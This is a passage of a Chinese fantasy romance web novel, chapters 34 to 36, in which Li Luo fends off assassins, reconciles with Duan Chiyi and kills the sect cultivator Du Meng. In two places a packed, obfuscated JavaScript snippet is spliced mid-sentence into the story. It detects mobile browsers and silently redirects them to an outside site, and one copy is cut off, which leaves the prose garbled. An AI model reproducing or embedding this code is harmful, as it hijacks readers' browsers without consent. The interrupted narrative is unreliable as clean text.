“快把骨伞交出来!” 黎落很是无语的样子。 她将夜明珠朝地上一扔,珠子咕噜咕噜滚到了角落。 然后手腕一转,骨伞便出现在两人眼前。 白骨盈盈,伞面色泽浓重艳丽。 那刺客一下子看呆了。 黎落很是熟练地将骨伞朝前送了送,一副老实懦弱的样子: “给。” 那刺客警惕地看着骨伞。 原本在他看来,黎落弱小愚蠢,不过是靠着美色勾引了个能打的小白脸替她看家。 现下那小白脸跑了,黎落识时务为俊杰,将骨伞双手奉上也不是没有可能。 但近几天来探云苍阁的人不少,却没一个人顺利拿走骨伞。 他不免心生疑虑。 黎落见他目露警惕,想了想,又道: “算了。虽是书中炮灰,但谁想死得不明不白呢?” 她收起骨伞: “你自己走吧。” 哪知这举动反而引得刺客激动起来。 他猛得以尖刺扎向黎落脖子,一边伸手就要夺伞: “给老子拿来——啊!” 他蓦地一声尖叫,在尖刺碰到黎落之前,伞上魔气已死死缠上了他的脖子,他的头和身躯被大力拉扯分离的痛让他呼吸不畅、双眼充血。 这刺客再看向黎落时,忽觉她虽容貌可亲,眼神却比这漫天血色还要残酷。 但他已没机会后悔了。 被魔气绞碎前,只听得黎落声音幽幽,带着不谙世事般的残酷: “对不起啊,原本不想杀你的。下次一定要当个有脑子的炮灰啊。” 与此同时,院中埋伏已久的两个刺客忽然发难,银线如刀破开窗户,一边攻向黎落颈部,一边缠上骨伞伞柄。 黎落露出不耐烦的神色。 魔气受她情绪控制,顿时如疽附骨,顺着银线攀缘而上,化作利爪,一把将其中一个刺客拖拽下来,重重贯在地上。 院中传来重物落地的声音。 黎落正准备处理另一个人,一道冷光忽然闪过,与缠在黎落身上的银线相撞,发出铮然之声。 银线遇痛回缩,其主人也被剑气所震,惨叫一声摔了下来。 黎落转身,看向不知何时出现在她身后的段迟意,面露惊喜: “段迟意!你回来啦!” 段迟意的目光从她手中的骨伞上划过。 她立马收了伞,浑然不想管院里刺客的样子,下意识想要拉他的袖子: “你终于回来了!我还以为你生气,再也不回来了呢!” 段迟意神色漠然,避开她的触碰: “我只是来还云苍阁的东西。” 他明显是划分界限的动作让黎落面露失望: “这样啊……” 她瞬间又变得像霜打了的茄子一样,讷讷收回了手。 段迟意目不斜视地从她身边路过,将乾坤袋里的东西一一取出,分门别类规整好后,又慢条斯理地将其一一放好,最后还对着账簿检查了一遍。 做完这一切后,他合上库房大门,转身又要离开。 黎落跟在他背后看了半天,心道他如此细致仔细,一副今日就要把一切账务都处理完善、不留隐患的样子,只怕这一走,就真的不会回来了。 她当即下定决心,二话不说冲了过去,拦在段迟意面前: “你先别走,我有话要说!” 段迟意立时站住,掀起眼皮看她,十分冷漠的样子,好像他面对着的是个陌生人。 黎落莫名觉得心酸。 但她仍举着手不肯放下: “对不起,那天全都是我的错,你生气也是应该的。” 段迟意双眸锁在她脸上,故意反问她: “是吗?你是阁主,能有什么错?” 黎落:“我不该在抢骨伞的时候忘了你的死活,不该在你救我的时候打你的剑,更不该在不喜欢你的时候就亲你,我这种行为简直就是个不折不扣的混蛋,我以后绝对不会再擅自亲你了……” 段迟意的脸色随着她的话变得更冷,月色如水,淌在他轮廓分明的侧脸上,像是给他渡了一层霜。 他不欲再听,抬步就要离开。 黎落急忙伸手拦他: “我还没说完呢!” 段迟意忍着怒火,面无表情地抬眼看她,像是要看看她还能说出什么惹他生气的话。 黎落被他瞪得心虚,实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444439|167454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在不敢再就“能不能亲他”一事继续讨论。 然后她弱弱地总结了一句: “我错了……” 说完,她露出坚定神色,又重复了一遍: “我真的错了,我以后一定真心对你!” 她试探着靠近段迟意,见他没有拒绝,又伸手拉他袖子,前后甩了甩: “你原谅我这一次吧,好不好?” 段迟意垂眸看向她拉着自己袖子的手,神色稍霁。 这次他没有立马甩开她,而是问了句: “你要怎么真心对我?” 黎落晃他袖子的动作愣了一瞬,她眼珠子左右乱瞟,一看就是还没想好的样子。 段迟意不想再听她编胡话糊弄他,抬步往前继续走。 “唉唉唉……” 黎落立马整个人扑上去抱住他胳膊: “我真的没想好,但你可以提啊!你说的我都听!” 她原本没想着能靠这样耍无赖的招式拦住段迟意,但没想到他竟然真的被她拽住了。 他尽量忽视胳膊上传来的柔软触感,垂眸看她,墨玉似的眼睛又黑又冷,一眨不眨地盯着黎落,声音带着几分莫名的蛊惑意味: “我来提?” 黎落:“嗯!” 她先是点头,想到了什么后又急忙摇头: “呃……我不能把魔魂给你,骨伞也不能给你,我还有点别的麻烦要处理,那个事情你帮不上忙……” “够了。” 段迟意冷冷打断她。 黎落露出紧张的神色,下意识咬住唇看向他。 她像是在等待宣判,又不免他不满意,还是坚决要走,那她就真没有别的办法留住他了。 雪白贝齿在下唇咬出一条浅浅的印子,让那片樱粉透出嫣红。 连她自己都没意识到自己紧张时的下意识动作。 段迟意闭了闭眼睛,不想再看这张让他生气的脸。 但胳膊上挂着的人丝毫没有松手的意思,他只得说: “我给你炸了丸子,再不松手要糊了。” 黎落一愣: “你不走了?” 她这才意识到段迟意走向的方向不是大门,而是厨房。 她不由得弯起眼睛,放开他胳膊,瞬间傻乐起来: “你还给我做好吃的了?” 段迟意瞥见她神情,听见吃的立马笑这么开心,像个傻子一样。 他心里哼了一声,面上不显,只淡淡道: “看你表现。” * 段迟意的糖油果子炸的非常成功。 但黎落并没有他预想中的那样狼吞虎咽,只咬了一口便不吭声了。 他觑她表情,似乎不是很开心的样子,不免心下疑虑。 难道是他做的不好吃? 段迟意在心里复盘了一遍做法,确认每个环节都准确无误,甚至火候和油温他也经过了精密的设计,不可能难吃。 他复又看向黎落。 她的表情已经从不太开心变成了明显的难过,简直快要哭出来了。 段迟意慌了,伸手想拿走她手里咬剩半个的糖油果子: “不好吃便别吃了……” 黎落却不肯给他,摇了摇头,连忙将整个果子一口塞进了嘴里。 然后低着头,鼓着腮帮子边嚼边小声说: “挺好吃的。” 段迟意看的牙疼。 他伸手轻轻替她拍了拍后背,帮她把嘴里的东西顺下去,又给她倒了一杯温水。 黎落咕噜咕噜喝了。 “虽然刚保证过……” 她放下杯子,唇上还带着点水光,目光灼灼地看着他,猝不及防道: “段迟意,我现在能亲亲你吗?” 35. 第 35 章 黎落说完,下意识舔了舔唇,用期待的目光盯着段迟意的脸,还时不时往他唇上瞧。 段迟意喉结滑动了两下。 他感觉嗓子有点干。 又觉得自己一颗心好似那锅里的丸子似的,被黎落这个小混蛋捏在手中揉扁搓圆、肆意玩弄,时不时还要被放进油锅里烹炸折磨一番。 而罪魁祸首非但没有丝毫悔过之心,甚至还想变本加厉。 段迟意伸出手,缓缓地、轻柔地靠近黎落的脸。 黎落目光炯炯,随着他靠近的动作,眼里的光亮了几分。 “哔啵”一声,灶台中的柴火炸开,一下子把旖旎的气氛打破。 而段迟意的手指也终于碰到了她的脸。 他指节微屈,五指猛得变了弧度,一把扯住黎落的脸颊,往外轻轻一拉。 “不许亲。” 他冷冷启唇。 黎落的半边脸被他扯变了形,又听见他这冷漠无情的话,目光瞬间变得失望。 “那好吧。” 她十分不甘心地低下头,用筷子戳着碗里的其他糖油果子,故意不去看段迟意的脸。 看她这般神态,段迟意觉得心里那股气终于顺了。 他心满意足地松开手,起身,凉凉道了句: “哪来的色中饿鬼?” * 段迟意心情大好,回房,躺下,闭眼。 突然睁眼,看见床边蹲着个人。 是黎落。 她怀里还抱着他在鬼界给她做的星星灯,稍一动,夜明珠的光便从她怀里冒出来,照在他眼皮上。 见他睁眼,还假惺惺地问了句: “好巧,你也睡不着啊?” 段迟意:“……?” 他一动不动地看黎落爬上床,将他朝里推了推,把她的宝贝灯摆在中间,又是一副彻夜长谈的架势。 段迟意给她让出位置,忍不住转头看了一眼窗外。 夜色低沉,月上中天。 这个时辰,连猫都睡了。 坐在他床上的黎落反而神采奕奕,毫无困意,还对他说: “太早了,我睡不着,一起来聊天吧。” 段迟意:“……聊什么?” 黎落:“不然继续讲我上次没讲完的故事吧。” “上回书说到,此渣男伤透女主的心后,强行带女主出门游玩。女主中途受伤,心碎不已,这时候,男二出现了。” 黎落假装成说书先生手里拿着惊堂木的样子,朝床边空地一拍,星星灯跟着一抖,流光四溢。 “这男二长的十分好看,花言巧语哄得女主和他成亲。但这会儿渣男又不乐意了,说:嘿!我的女人,就算我不要,也不许其他男人染指!” 她演上了兴致,单手在半空中指指点点: “结果你猜怎么着?” 段迟意语气平平:“他被男二打死了。” 黎落:“……” 黎落十分欣赏地拍了拍他的肩膀: “你很有想法,我欣赏你。” 她摇摇头:“但很不幸,女主和渣男和好了,他们打算回家成亲。” 段迟意:“你为什么非要看这种书呢?” 黎落眼神一瞬间变得忧郁,但她很快调整好了心情,瞪他: “你还要不要听?” 段迟意无奈叹气,闭嘴,摆出洗耳恭听的姿态。 黎落这才满意。 她继续说: “但好景不长,渣男身患绝症,必须靠一味药材才能活下去。但那药材极难寻,他觉得自己死定了,所以故意将女主推开,女主又伤心不已。” 段迟意:“……哦。” 黎落神情有些飘忽,声音也不似方才那样振奋,有些像是自言自语: “那药材着实是个宝贝,若落到渣男手里也是可惜。虽然生长之地危机重重,但常言道富贵险中求……” 脑门忽然一痛,是段迟意屈起两根手指,猝不及防敲在她额头上。 敲西瓜一样,声音清脆。 力道不大,但打得她一激灵,回过神来。 正对上段迟意警告的目光: “若你再敢背着我以身犯险,我就——” 黎落捂着头,等他说出强有力的威胁。 谁知他却说: “我就再也不陪你熬夜。” 黎落:“!” 她如临大敌,立马保证:“绝对不会!我说到做到!” 段迟意这才略微放下心来。 黎落所说的故事看似无厘头,实则总有些诡异之处。 他每次听见时都感到莫名不安。 好像一不小心,他面前这人就会跑进没有他出现的故事里,让他再也无法找到她。 今日这感觉尤甚。 段迟意不禁抬眸看向黎落。 她正盯着照在床柱上的灯光发呆,眼睛都快直了。 几乎每次都这样,拉着他一起熬夜聊天,最后却总是她先犯困跑神。 段迟意又想敲她。 但见她此刻全须全尾地坐在他身边,顶着个黑眼圈摇摇晃晃不想睡觉的样子,段迟意又忍不住觉得好笑。 他伸手,轻推她肩膀,故意坏心眼问道: “黎落,你睡了吗?” “啊?我没睡!” 黎落一个猛子坐直了,拼命睁大眼睛,想要证明她刚刚没睡着。 她双目无神,但还在硬抗: “我一点都不困。” 段迟意失笑,俯身凑近她眼睛,轻声道: “黎落,你心情不好吗?” 他精致无瑕的脸在黎落面前缓缓放大,一双黑眸如同漩涡一般,诱她坠入其中。 黎落困意上头,脑子早便不怎么转了。 被他这么轻轻松松一蛊惑,下意识回道: “是有点,因为吃了糖油果子。” 段迟意闻言,脸唰得一下拉得老长。 他坐回原位,阴阳怪气道: “原是嫌我做的难吃,故意来熬我。” “不是因为难吃。” 黎落这会儿是真的困了,尾音带着点黏糊,听起来委屈巴巴的: “我只是有点想他们了,不想一个人待着,你是我最信任的人了……” 段迟意默。 他看向黎落,微不可查地叹了口气,感觉自己在和黎落的战争中胜算渺茫。 然后他将星星灯移到一边,把被子盖在她身上,算是默许她在这里休息。 黎落从善如流地抢了他的位置,顺势裹着被子躺下。 段迟意只得朝床内又挪了挪,后背已经贴到了墙上。 黎落闭上眼睛,长舒一口气。 熬到这会儿,躺下睡觉俨然更合她心意。 但没安宁片刻,她又睁开眼睛,扭头看他: “你不睡吗?” 段迟意还没说话,她就又忽闪着大眼睛问他: “真的不能亲吗?” 段迟意:“……” 他简直哭笑不得。 黎落这家伙,素来擅长趁人不备攻人心防。 若不是鲛珠实打实的照出她心中所想,只怕自己还被她哄得团团转。 现下不过几句甜言蜜语就想哄着他继续无条件给她打白工,还要出卖色相…… 段迟意心里哼了一声。 他板起脸,一副公事公办模样: “不能。” 黎落果真只是随口试探,闻言既不失望也不纠缠,闭上眼睛很快就睡着了。 这下,反倒是段迟意心里不爽了。 这人怎能如此拿得起放得下,素来目标明确,无论是利用他自救,还是诓骗着他保护云苍阁,亦或是现在想要找人陪她待着…… 竟都遂了她的意! 纵使如此,还要抓住一切机会得寸进尺! 他不免想到第一次追来云苍阁那次,黎落是如何花言巧语哄他出力。 若非他意志坚定,及时拒绝了她更多无理要求,她岂不是还要上天? 段迟意垂眸看着黎落的睡颜,心里又气又想笑。 他磨了磨牙,想咬她。 但见她睡得脸颊微红、毫不设防的样子,他又想要替她拂开额角的碎发。 又爱又恨的复杂心情交织在一起,段迟意凝视着黎落的脸,久久未动。 等黎落再次把自己的头发揉成一团糟、朝被子里钻的时候,段迟意才伸出手将她捞了一把。 她下意识朝他这边靠过来。 这一次,段迟意没有再躲开了。 他将她的脸扶正,缓缓低头,在她眉心落下轻柔一吻。 黎落朝他怀里蹭了蹭,找了个舒服的姿势沉沉睡去。 段迟意微微弯起嘴角,眼底闪过温柔笑意,仿佛坠入了一整片星海。 * 穗穗面无表情地看着段迟意。 段迟意神色淡然,并不在乎它的视线,而是看向黎落: “阁主今日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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对方压低声音,隐约听着是个年纪不大的少年,还带着点公鸭嗓: “这年头,还有哪个仙门修士敢冒风险跟魔族阁主做生意?多出来的价是我的担惊受怕费!” 他冲她摇手比划: “快点快点,别被其他人看见了!” 黎落掏出三个装满淬金石的乾坤袋放到他伸出来的手上,道: “我要的东西呢?” 对方掂了掂乾坤袋,听得里面满满当当的淬金石碰撞的声音,心满意足地从斗篷下拿出一柄剑。 剑鞘看着普通,却压不住剑身上的充沛灵力。 一看便是器修用上品灵石炼出的法器。 黎落单手握住剑柄,有些沉,她又换了两只手来接。 拔剑出鞘,有铮然之声。 黎落虽不懂剑,却也能看出这剑是个宝物,眼里全是赞叹。 少年见状哼哼两声,声音没有刚才那么防备了: “怎么样,我可是废了不少心思,值你这些淬金石吧!” “值,道长真是诚信经商、仙魔无欺!” 听见黎落的称赞,少年器修脸上浮现几分得意。 原本他还担心黎落是个不好惹的魔族,若不是炼器需要大量淬金石,他何须冒如此大的风险来此交易? 但见着黎落,发现她不过是个容颜姣好的小姑娘,说话也十分和气,这少年一下子就放松了警惕。 他又提起另一件事: “你先前给了许多天材地宝,让我把烟锦纱制成好用的防身法器,我试了试,还是觉得不值当。” “只能挡化神期一招的防身法器,若还熔了这么多宝贝,炼制出来亏钱不说,还得毁我名声。” 他从斗篷下取出烟锦纱,并黎落搜集的天材地宝,一同递还给她,语气有些傲娇: “我不接这单,还给你。” 黎落讶然。 她没想到这人对炼器如此执拗。 其实只消随便炼炼便是,她也并不在乎是否值当。 但见对方这么说,她也不好强人所难,只得伸手将东西接了。 左右想送给段迟意的惊喜,主要还是手里这柄剑。 谁知她刚伸出手,便觉身后气息不对。 连日被偷袭的本能让她当即回身反击。 一道魔气推开站在她对面的少年器修,直直与迎面而来的长剑相撞。 器修于炼器一事天分卓绝,在打斗方面便略显不足了。 他被黎落的魔气推得摔了个跟头,砸得头晕眼花。 却也刚好避开来人杀意十足、敌我不分的一击。 36. 第 36 章 装着烟锦纱和天材地宝的乾坤袋掉到了地上。 一位身量高挑、容貌盛极的女修持剑与黎落相对。 ——仙门中人。 器修在看到来人时一个激灵,急匆匆将斗篷拉得更严实些,想趁着黎落与女修对抗时悄悄逃跑。 女修发现了他的小心思,冷嗤一声,一道灵力打向他: “我倒要看看,哪个不要命的仙门中人,敢同魔族勾结往来!” 她一手击开黎落魔气,一手用剑挑碎器修斗篷,认出对方: “好你个张少荣,还不跪下!” 张少荣自知暴露,立时不敢再跑,老老实实跪在女修剑下: “见过杜师姐,杜师姐恕罪!我真的没有和魔族勾结!” 杜孟看向黎落手中灵气充沛的剑,声音带着威慑: “还说没有?那剑分明出自仙门炼器之法,若你没有和魔族勾结,又为何要给她法器和灵宝?!” 张少荣急忙辩解道: “师姐明鉴!我……我来之前并不知道她是魔族!” 他深知杜孟向来喜憎分明,莫说是妖魔,便是与妖魔有所沾染的普通弟子,她也是说杀就杀。 张少荣根本不敢在杜孟面前露出半分和黎落交易的破绽,只能将事情一股脑推到黎落头上: “是这魔族诓骗我为她炼剑,又眼馋我身上携带的其他宝贝,想一同抢去……” 他连哭带嚎: “我只是个器修,哪里打得过她!求杜师姐救我!” 说完,张少荣自知理亏,下意识偷看了一眼黎落。 黎落没有说话。 他松了一口气,小心翼翼擦了擦头上的冷汗。 杜孟本就极其厌恶魔族,见黎落没有反驳,顿时怒气上头,一脚踹开张少荣: “废物!堂堂仙门弟子,竟叫一个魔族欺辱至此!简直辱我仙门名声!” 张少荣被她踹到心口,吐血倒地。 杜孟见他如此模样,越发厌恶,一手紧握本命剑长缨,猛得指向黎落: “欺我仙门弟子,抢我仙门宝物,今日我便除了你这邪魔!” 黎落扬起个意味不明的笑。 她瞥了一眼张少荣,漫不经心道: “谁让你们仙门炼器术天下一绝呢?我实在是有些心动。” “既知我是魔,还不带着你的东西滚!” 张少荣心虚不敢看她,爬起来抹了把脸上的血,顶着杜孟的视线将地上的烟锦纱和天材地宝捡了,缩着脖子急匆匆往远处跑。 黎落没有动,只看着张少荣逃跑。 反倒是杜孟先动了。 妖魔天生该在修士剑下求饶,岂有修士未战先怯、仓皇逃命之理? 简直是给仙门蒙羞! 留着这样的弟子何用?! 杜孟蓦得动手,神色冷酷,长缨剑势大开大合,不朝黎落,反而对着逃跑的张少荣。 张少荣怎会想到她会对自己动手,毫无防备地迎了这一剑。 多亏烟锦纱在他手中,法器护主,瞬间罩在他头上,这才救了他的小命。 张少荣整个人都呆住了。 杜孟反手又是一剑袭来。 黎落挡在张少荣前面,骨伞与剑势相抗,魔气瞬间冲上剑身。 她看了一眼只顾发呆的张少荣: “还不快跑?” 张少荣嘴唇发颤,但杜孟对他动手带来的冲击太大,听见黎落的话,也只是本能挪动双腿。 没跑几步,他下意识回头,黎落仍挡在他前面。 魔气挡住杜孟的剑,护他一命的烟锦纱裂成两半。 张少荣猛得站定,反身捡起地上的烟锦纱才又转身逃跑。 黎落心道奇怪。 他不是说这种一次性法器鸡肋,怎么还要冒死捡走用过的残余? 但杜孟一剑又至,她便无暇分心去想了。 “好一个张狂的魔头!” 杜孟冷笑一声: “先抢骨伞,再闹鬼界,那胆大包天的魔头,果然是你!” 鬼界大乱,鬼王身死,仙门尚未查出凶手,没想到罪魁祸首竟如此大胆,主动招惹到仙门弟子身上! 杜孟剑招更急。 她虽未入寒冰域,不及珩亦剑势凌厉,但天资卓越,亦是仙门弟子一辈中的佼佼者。 魔魂与骨伞一事本是珩亦调查,但不知怎的,成胥道君几日前忽然召见她,将此事交给她来处理。 当日仙门弃她、择珩亦入冰,杜孟本就心中不忿,这些年来一直憋着一口气,想要证明自己是比珩亦更合适的人。 如今便是天赐良机! 杜孟一剑捅出,与骨伞相撞,火星四溅。 黎落被震得虎口生疼。 杜孟是个疯子,连自己的师弟都能痛下杀手,更不会对她留情。 可惜黎落本不是什么能抗能打的魔头,体力逐渐不支,又想护好送给段迟意的剑,一个不慎,叫杜孟的剑扫到了她眼前。 杜孟面露得意。 然而比她的剑更快的,是黎落周身忽然漫上的诡异气息。 她双眸忽而涌上墨色,混沌之力成屏障护在她身前,骨伞与魔气也立时成其拥趸,借势增强扑杀而上。 不但挡了杜孟全力挥来的一剑,还直接将她撞飞出去。 杜孟瞬间经脉错乱,灵力被魔气打散难以维持,借着长缨剑才勉强维持住身形,呕出一口鲜血。 她望向黎落,满目震惊,脱口而出: “魔尊?!” 那气息她不会认错,昔日道君与魔尊一战,骨伞与魔气便成此势。 除却魔尊沧宿,还有哪个魔头能有如此蛮横之力? 但却见黎落周身魔气轻微、气息平和,除却手中骨伞尚保留着杀气未散,哪里有半分昔日魔尊的狠戾? 杜孟又不慎确定了。 黎落压下混沌之力,双眸恢复如常。 见杜孟已无战力,瞪着她的眼神惊疑不定,必然是察觉到了什么。 某个瞬间,黎落想要直接杀了杜孟,以绝后患。 但她脑子里又飘过很多原书剧情。 仙门修士斩妖除魔,守护人界,心怀大义。 虽说她与两河镇的百姓没有被仙门拯救的运气,但总会有其他幸运的人。 黎落打量杜孟一番,最终没有动手,但也不想再继续纠缠下去。 她答应了段迟意和穗穗,办完事要尽快回去的。 黎落抱着剑转身离开。 杜孟盯她背影,神色郁郁,忽然掏出一张剑符。 符上剑意带滔天之势,放出的一瞬间,隐约可闻龙吟之声。 光是催动这剑符便使得杜孟丹田内灵力枯竭,周身经脉几近逆转,连同周围天地间的灵力一齐送向半空中那道剑影。 随着剑影凝实,道君剑意迸发,这一方天地间忽而阴云密布,似大雨倾盆之相,眨眼便有雨滴坠落,如铁锤砸地,势压千钧。 压得黎落站立不稳,单膝跪地。 杜孟死死盯着黎落。 纵使不是魔尊,能拥有骨伞,还能挡她一剑,必不是善类。 她身为正道修士,若因一时贪生怕死,见此魔而不除之,便有负苍生!有负仙门栽培! 故而她宁可力竭濒死,也要强行催动成胥道君的剑符,将黎落这魔头彻底斩杀于今日! 道君剑符上含其一道剑意,本是多年前为战魔尊,成胥道君特意留给杜孟的。 便是对上魔尊,持符者也能争得一丝生机。 遑论一个黎落! 混沌之力察觉到杀意,遇强则强,迸发的一瞬间,几乎将黎落这具人族的身体撑爆。 若非还有魔魂拉扯着,她只怕立时便要五脏炸裂而死了。 黎落艰难喘息。 她眼底浮现戾气,浓重黑气自她周身散出,不管不顾朝着半空那道剑影撞去—— 突然,四面气息一凉,如冬雪初至,朝她压下的剑影停在半空。 一柄雪色长剑划开雨幕,坚定地、毫无退意地抵住了那道剑影。 剑意对冲的瞬间,修为与灵力如水波纹般骤然散开,碰撞出一圈极强的冲击力,无数草木连根拔起,又被剑气扫过,与半空中被削成两段,落回地面。 杜孟亦被这道气息打飞出去。 霜寒之气弥漫,剑与剑相撞,寒意将雨水凝成冰雪,朴朴簌簌落了下去,瞬间便将此处铺了一层素白。 鼻尖落上了雪花,眨眼便消解成水。 道君剑意一击即散,混沌之力也自行消退。 黎落缓过气来,仍觉脏腑火辣辣得疼,忍不住打了个冷颤。 恍惚抬头,面前不知何时多了一道修竹般的清隽身影。 珩亦侧身挡在她身前,乌发高束,身姿挺拔,面具遮掩,只露出线条流畅的下颌。 破妄剑嗡鸣不休,不单是因为挡了道君剑意,更是因为方才那一瞬间,黎落的魔气环在它周围,激起了这把除魔之剑的战意。 霜雪落在剑上,持剑的手却比雪色还要苍白。 “珩亦?” 杜孟见着来人,先是惊讶,随即成了质问: “你胆敢与魔族为伍?背叛仙门?!” 段迟意压下心口血气,无视杜孟。 他回头看向黎落,想问她一句“可 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体力不支,内伤严重,手腕连同剑身都在颤抖。 但她眉眼间一片冷意,右手发抖,便用左手握着右手腕借力,提剑迎向杜孟。 魔气和混沌之力迸发,与杜孟剑招相撞,攀附而上,瞬间扼住她的喉咙。 杜孟面露惊恐,已知轻敌,却被黎落毫不犹豫地一剑刺穿心脏。 黎落双目冰冷,看着倒在地上的杜孟,魔气不散。 先前一时犹豫,她险些不明不白丧命于此。 如今侥幸存活,合该及时清醒过来,修正错误。 什么仙什么魔,她既然想活,那与她为敌要她性命者,就必须死! 黎落转头,与段迟意对视。 这是第二次被珩亦撞见她杀人了,这回杀的还是他们仙门的人。 段迟意的表情隐藏在仙门面具下,叫人猜不透他此刻的想法。 “你可以杀我报仇。” 黎落说。 段迟意没说话。 黎落继续道: “仙门斩妖除魔,是为正义,我为邪魔,天生与修士势不两立,我不欠你们的。” 她剑指珩亦: “我宁死不悔。” 段迟意身形微动,袖口轻轻摇晃。 黎落觉得他一定是来杀自己了。 混沌之力上涌,尚未修补好的脏腑再一次受到冲击,连同手背上的筋脉也一齐突出。 她嘴角溢出鲜血,却毫无退意,一双眼睛冷冷看着他,双瞳泛着不详的浓黑。 但预期中的攻击并没有出现。 面前剑修仍站在原地,黎落却感觉自己湿漉漉的衣服瞬间变得干爽。 他只是替她烘干了被雨水打湿的衣服和头发。 语气似是无奈,却并无多少责备: “仙门不代表正义。” 你也不是邪魔。 他在心里补充了一句。 黎落怔住。 她好像一时不能理解他的话,疑惑的目光从珩亦脸上的面具移到他手里的破妄剑。 然后她又跑神了。 她忽然发现自己的剑纵使被好好护着,还是被道君剑符打出了裂痕。 而破妄剑直面道君剑影,却依然完好无损。 ——她手里的剑并不是一把足以超过破妄剑的宝剑。 这认知让黎落挫败。 她逃也似的离开。 * 等段迟意换了装束找到她时,她正垂着头靠在一块石头上,气息混乱,呼吸不稳。 段迟意调整语气,假装刚知道消息的样子: “黎落,你怎么样?可有受伤?” 黎落没有说话,摇了摇头,伸手,示意他扶她。 段迟意只当她不想多说话,弯下身子,触及到她手的一瞬间,却摸到了一片冰凉。 她的情况比他预估的还要糟糕。 他动作一变,放弃原本打算,一手揽住她背,一手从她膝下穿过,直接将人打横抱起。 黎落没有拒绝。 她疲惫地靠在他怀里,整个人像是刚从冷水下捞出来一样,虽然衣服是干的暖的,但寒意却从骨子里往外冒。 段迟意担忧不已。 事实上,黎落现在根本站不起来。 五脏六腑都好像被人搅和了一遍似的,没一个在原位,拉扯着疼。 段迟意用灵力探她伤势时,猝不及防听见黎落在他耳边说: “我想杀了珩亦。”